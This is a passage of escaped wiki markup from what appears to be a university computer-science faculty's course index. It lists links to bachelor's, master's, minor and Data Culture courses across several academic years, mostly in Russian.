[[InfTheo2019-2020|Теория информации]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_РС_2|НИС Распределенные системы 2]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Байесовские_методы_машинного_обучения_2019|Байесовские методы машинного обучения]]&lt;br /&gt;
&lt;br /&gt;
[[НИС Науки о данных]]&lt;br /&gt;
&lt;br /&gt;
[[Философия_науки_2019|Философия науки]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[MinorBioinformatics|Биоинформатика]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Современные_методы_машинного_обучения | Современные методы машинного обучения (ИАД)]]&lt;br /&gt;
&lt;br /&gt;
[[KotlinElective|Факультатив &amp;quot;Язык Kotlin&amp;quot; (2-3 модули)]]&lt;br /&gt;
&lt;br /&gt;
[[ISDElective|Факультатив &amp;quot;Методы разработки программного обеспечения&amp;quot; (1-2 модули)]]&lt;br /&gt;
&lt;br /&gt;
[[Введение в программирование (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы магистратуры ФКН ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[Theory_of_Computing_2019_2020 | Theory of Computing]] || Науки о данных, специализация ТИ || 1 курс&lt;br /&gt;
|-&lt;br /&gt;
| [[Project_Seminar_2019_2020 | Проектный семинар специализации ТИ]] || Науки о данных, специализация ТИ || 1 курс&lt;br /&gt;
|-&lt;br /&gt;
| [[Stochastic_analysis_2019_2020 | Stochastic Calculus ]] || Statistical Learning Theory || 1 year&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==&lt;br /&gt;
=== 1 семестр ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс !! Модули &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[ Основы анализа и визуализация данных для медиа 2019/2020 |  Основы анализа и визуализации данных для медиа  ]] || Журналистика || 4 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ Анализ данных в Python 2019-2020 |  Анализ данных в Python  ]] || Политология || 4 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Основы анализа данных в международных отношениях |  Основы анализа данных в международных отношениях  ]] || Международные отношения || 2 курс || 1-2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования в Python (Политология)|Основы программирования в Python]] || Политология || 3 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования на Python осень 2019 матфак|Основы программирования на Python-1]] || Математика || 1-4 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая грамотность (История 2019) |  Цифровая грамотность  ]] || История || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая грамотность (Востоковедение 2019) |  Цифровая грамотность  ]] || Востоковедение|| 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая_грамотность_2019-2020(философия) |  Цифровая грамотность  ]] || Философия || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая грамотность (ассириология и античность 2019) |  Цифровая грамотность  ]] || Ассириология и античность|| 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ПМСАР-2_2019| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Работа с данными]] || Медиакоммуникации || 4 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Машинное обучение (фэн 2019)]] || ФЭН || 3 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Natural_Language_Processing_Blended_2019_module1 | Natural Language Processing (blended)]] || Прикладная политология || 2 г.о. || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ ML_HSE_NES_2019 | Машинное обучение (ВШЭ-РЭШ)]] || Совместный бакалавриат ВШЭ-РЭШ || 3-4 курс || 1-2 модули&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Архив=&lt;br /&gt;
== Курсы за 2018/19 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3 курс !! 4 курс  !! майноры и факультативы&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2018/2019_(пилотный_поток) | Математический анализ на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2018/2019_(основной_поток) | Математический анализ на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Calculus_DSBA_2018/2019 | Calculus I DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2018/2019_(пилотный_поток) | Основы и методология программирования на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2019_(С%2B%2B,_основной_поток) | Основы и методология программирования на ПМИ (С++, основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[LAaG_DSBA_2018/2019 | LAaG DSBA]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2018/2019 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Discrete_Mathematics_DSBA2018/2019 |Discrete Mathematics DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Introduction_to_programming | Introduction to programming DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Introduction_to_programming_2 | Introduction to programming 2 DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2018/2019_(пилотный_поток) | Алгебра на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2018/2019_(основной_поток) | Алгебра на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Algebra_DSBA_2018/2019 | Algebra DSBA]]&lt;br /&gt;
&lt;br /&gt;
[http://hsealgebra19.wikidot.com Алгебра на ПИ]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2018/2019 | Алгоритмы и структуры данных на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2018/2019 (пилотный поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[http://math-info.hse.ru/s18/t Дифференциальные уравнения]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2018/2019_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2018/2019_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2018/2019_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2018/2019_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-pilot2018/2019 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-basic2018/2019 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2_2018/2019 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Факультатив  Теория вычислений]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_1/2018_2019 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_2 | Машинное обучение 2 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Численные_Методы_2018 | Численные методы ]]&lt;br /&gt;
&lt;br /&gt;
[[PDC | Параллельные и распределенные вычисления]]&lt;br /&gt;
&lt;br /&gt;
[[Theory_of_Computing_2018_2019 | Theory of Computing, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладная_статистика_в_машинном_обучении(2018)|Прикладная статистика в машинном обучении]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_РС|НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Основные методы анализа данных]]&lt;br /&gt;
&lt;br /&gt;
[[Теория баз данных]]&lt;br /&gt;
&lt;br /&gt;
[[Непрерывная оптимизация/2019|Непрерывная оптимизация (161-162)]]&lt;br /&gt;
&lt;br /&gt;
[[Непрерывная оптимизация (163-167)]]&lt;br /&gt;
&lt;br /&gt;
[[Сложность вычислений и логика в теоретической информатике]]&lt;br /&gt;
&lt;br /&gt;
[[Data analysis (Software Engineering) 2019|Data analysis]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]&lt;br /&gt;
&lt;br /&gt;
[[Intro to DL Blended | Intro to DL Blended]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная оптимизация 2019 | Дискретная оптимизация 2019]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Statistical_learning_theory_2018_2019 | Introduction to statistical learning theory]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ_неструктурированных_данных-2018 |Анализ неструктурированных данных ]]&lt;br /&gt;
&lt;br /&gt;
[[Байесовские_методы_машинного_обучения_2018|Байесовские методы машинного обучения]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Науки_о_данных_2018/2019|НИС Науки о данных]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(4_курс,_2018)|НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_Информации_2018/2019|Теория информации]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[Методы_и_системы_обработки_больших_данных_(осень_2018)|Методы и системы обработки больших данных]]&lt;br /&gt;
&lt;br /&gt;
[[Философия_науки_2018|Философия науки]]&lt;br /&gt;
&lt;br /&gt;
[[Теория баз данных]]&lt;br /&gt;
&lt;br /&gt;
[[ConvAppr19 | Выпуклое программирование и аппроксимационные алгоритмы (ТИ)]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональное программирование 2019 | Функциональное программирование]]&lt;br /&gt;
&lt;br /&gt;
[[A_Theorist&#039;s_Toolkit_2018_2019 | A Theorist&#039;s Toolkit, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[Дополнительные главы теории вероятностей 2019 | Дополнительные главы теории вероятностей 2019]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные главы математической статистики 2019 | Дополнительные главы математической статистики 2019]]&lt;br /&gt;
&lt;br /&gt;
[[Введение в программирование (курс майнора) 2018/2019]]&lt;br /&gt;
&lt;br /&gt;
[[dopglavy_DM_1819|Допглавы дискретной математики]]&lt;br /&gt;
&lt;br /&gt;
[[Современные_методы_машинного_обучения_(курс_майнора)_2018/2019 | Современные методы машинного обучения (курс майнора) 2018/2019]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладные_задачи_анализа_данных_(майнор_-_весна_2019) | Прикладные задачи анализа данных (майнор - весна 2019)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Введение в анализ данных | Введение в анализ данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональный анализ (весна_2019) | Функциональный анализ (весна_2019)]]&lt;br /&gt;
&lt;br /&gt;
[[KotlinElective| Язык Kotlin (3 и 4 модули 2018-2019)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==&lt;br /&gt;
=== 2 семестр ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс !! Модули &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования на Python весна 2019 матфак|Основы программирования на Python-2]] || Математика || 2-4 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(филология)|Цифровая грамотность]] || Филология || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(ИИ_и_культурология)|Цифровая грамотность]] || История искусств и Культурология || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(ИЯМК_2019)|Цифровая грамотность]] ||  Иностранные языки и межкультурная коммуникация (ДИЯ) || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы_анализа_и_визуализации_данных_ДИЯ_2019|Анализ и визуализации данных]] ||  Иностранные языки и межкультурная коммуникация (ДИЯ) || 2 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Научно-исследовательский_семинар_2019| Научно-исследовательский семинар]] ||  Политология || 1 курс || 3 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы_программирования_в_Python_2019|Основы программирования в Python]] || Мировая экономика || 2 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ПМСАР-1|Автоматизированный сбор больших данных в экономико-социологических исследованиях]] || Прикладные методы социального анализа рынков  || 2 г.о.  || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Искусственный интеллект и большие данные_(2019)|Искусственный интеллект и большие данные]] || Дизайн, Мода, Современное искусство || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Информационный менеджмент: Введение в Data Science|Информационный менеджмент: Введение в Data Science]] || Управление бизнесом &amp;lt;br&amp;gt; Маркетинг и рыночная аналитика || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Технологии анализа больших данных|Технологии анализа больших данных]] || ГМУ || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования на Python (Прикладное программное обеспечение)|Основы программирования на Python (Прикладное программное обеспечение)]] || Социология || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы работы с данными|Основы работы с данными]] || Медиакоммуникации || 2 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Введение_в_data_science_Социология_1_курс|Профориентационный семинар (Data Culture)]] || Социология || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Введение_в_анализ_данных_МирЭк_2019|Введение в анализ данных]] || Мировая экономика || 1 курс || 4 модуль&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== 1 семестр ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс !! Модули &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы анализа данных в международных отношениях 2018/2019|Основы анализа данных в международных отношениях]] || Международные отношения || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Introduction_to_Data_Culture_2018-2019|Introduction to Data Culture]] || Программа двух дипломов НИУ ВШЭ и Лондонского университета &amp;quot;Международные отношения&amp;quot; || 1 курс || 2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая грамотность(востоковедение)|Цифровая грамотность]] || Востоковедение || 1 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Разработка управленческих решений в маркетинге | Разработка управленческих решений в маркетинге]] || Маркетинг и рыночная аналитика || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Информационные технологии в деятельности юриста_2018-2019| Информационные технологии в деятельности юриста]] || Юриспруденция || 1 курс || 2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Машинное обучение на матфаке 2018/2019| Машинное обучение]] || Факультет математики || 2-4 курсы || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ПМСАР-2| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Анализ данных в Python (Политологи 1 семестр 1-2 модули)|Анализ данных в Python]] || Политология || 4 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы анализа и визуализации данных для медиа (Журналисты 1 семестр 1 модуль)|Основы анализа и визуализации данных для медиа]] || Журналистика || 4 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Введение в анализ текстов на Python для ФГН 2018|Введение в анализ текстов на Python для ФГН 2018]] || Фундаментальная и компьютерная лингвистика || 3 курс || 1, 2, 4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Машинное обучение (ФЭН)]] || Факультет экономических наук || 3-4 курсы || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Программирование_(python)_для_экономистов|Программирование (Python) для экономистов]] || Факультет экономических наук || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая грамотность(философия)|Цифровая грамотность]] || Философия || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(историки)|Цифровая грамотность]] || История || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Обработка и анализ данных физического эксперимента|Обработка и анализ данных физического эксперимента]] || Физика || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Статистический анализ в среде R (Социологи 1 семестр 2 модуль)|Статистический анализ в среде R ]] || Социология || 4 курс || 2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Courses of the  Statistical Learning Theory program==&lt;br /&gt;
[[Neurobayesian_models_2019|Neurobayesian models]]&lt;br /&gt;
&lt;br /&gt;
== Курсы за 2017/18 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3 курс !! 4 курс  !! майноры и факультативы&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2017/2018_(пилотный_поток) | Математический анализ на ПМИ 2017/2018 (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2017/2018_(основной_поток) | Математический анализ на ПМИ 2017/2018 (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(пилотный_поток,_1_модуль) | Основы и методология программирования на ПМИ 2017/2018 (пилотный поток, 1 модуль)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_2_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 2 модуль)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_3_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 3 модуль)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_на_ПМИ_2017/2018_(основной_поток) | Алгоритмы и структуры данных на ПМИ 2017/2018 (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2017/2018 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы и структуры данных 1  | Алгоритмы и структуры данных – 1 (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2017/2018 | Алгебра на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[http://hsealgebra18.wikidot.com Алгебра на ПИ]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[Теория_вероятностей_2017/2018_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2017/2018_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический анализ-3 на ПМИ_2017/2018_(основной_поток) | Математический анализ-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический анализ на ПМИ_2017/2018 | Математический анализ-3 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-pilot2017/2018 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM_2_2017_2018 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы и структуры данных_2_2017/2018 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дифференциальные уравнения (2 курс, 2017/2018)| Дифференциальные уравнения]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[Машинное_обучение_1/2017_2018 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_2/2017_2018 | Машинное обучение 2 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Численные_методы_2017 | Численные методы]]&lt;br /&gt;
&lt;br /&gt;
[[Statistics of Stochastic Processes|Статистика случайных процессов 2018]] &lt;br /&gt;
&lt;br /&gt;
[[Прикладная_статистика_в_машинном_обучении | Прикладная статистика в машинном обучении]]&lt;br /&gt;
&lt;br /&gt;
[[Theory_of_Computing | Theory of Computing, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[Statistical_learning_theory | Introduction to statistical learning theory]]&lt;br /&gt;
&lt;br /&gt;
[[Основные_методы_анализа_данных_(специализация_АДИС) | Основные методы анализа данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ неструктурированных данных]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(3_курс,_2017) | НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Непрерывная_оптимизация | Непрерывная оптимизация]]&lt;br /&gt;
&lt;br /&gt;
[[ Сложность_и_логика|  Сложность вычислений и логика в теоретической информатике]]&lt;br /&gt;
&lt;br /&gt;
[[Data_analysis_(Software_Engineering)_2018 | Data Analysis на ПИ]]&lt;br /&gt;
&lt;br /&gt;
[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]&lt;br /&gt;
&lt;br /&gt;
[http://wiki.cs.hse.ru/Машинное_обучение_на_больших_данных Машинное обучение на больших данных]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_оптимизация | Дискретная оптимизация]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[Философия_науки_2017 | Философия науки]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(4_курс,_2017) | НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ неструктурированных данных]]&lt;br /&gt;
&lt;br /&gt;
[[Байесовские методы машинного обучения 2017 | Байесовские методы машинного обучения]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональное программирование 2018 | Функциональное программирование]]&lt;br /&gt;
&lt;br /&gt;
[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Современные методы машинного обучения (курс майнора) 2017/2018]]&lt;br /&gt;
&lt;br /&gt;
[[Введение в программирование (курс майнора) 2017/2018]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2017-2018 | Введение в анализ данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладные задачи анализа данных (майнор - весна 2018)]]&lt;br /&gt;
&lt;br /&gt;
[[Маго-лего &amp;quot;Линейная алгебра в приложениях&amp;quot; весна 2018 | Линейная алгебра в приложениях (маго-лего)]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональный анализ 2017/18 | Функциональный анализ на ПМИ (факультатив)]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные главы теории вероятностей и математической статистики (факультативы) | Дополнительные главы теории вероятностей и математической статистики (факультативы)]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные главы дискретной математики 2017/18 | Дополнительные главы дискретной математики (факультатив)]]&lt;br /&gt;
&lt;br /&gt;
[[Цифровые технологии в гуманитарных науках]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==&lt;br /&gt;
&lt;br /&gt;
=== 2 семестр ===&lt;br /&gt;
&lt;br /&gt;
[[Цифровая_грамотность_2018_(2_семестр)|Цифровая грамотность (факультет гуманитарных наук — 2 семестр: ИЯМК, Филология, История искусств, Культурология, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Научно-исследовательский семинар (ФСН) |Научно-исследовательский семинар (ОП &amp;quot;Политология&amp;quot;, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Introduction_to_Data_Culture|Introduction to Data Culture (HSE and University of London Parallel Degree Programme in International Relations, 1 year)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[ИИ_и_БД|Искусственный интеллект и большие данные (ОП &amp;quot;Дизайн&amp;quot;, &amp;quot;Мода&amp;quot;, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
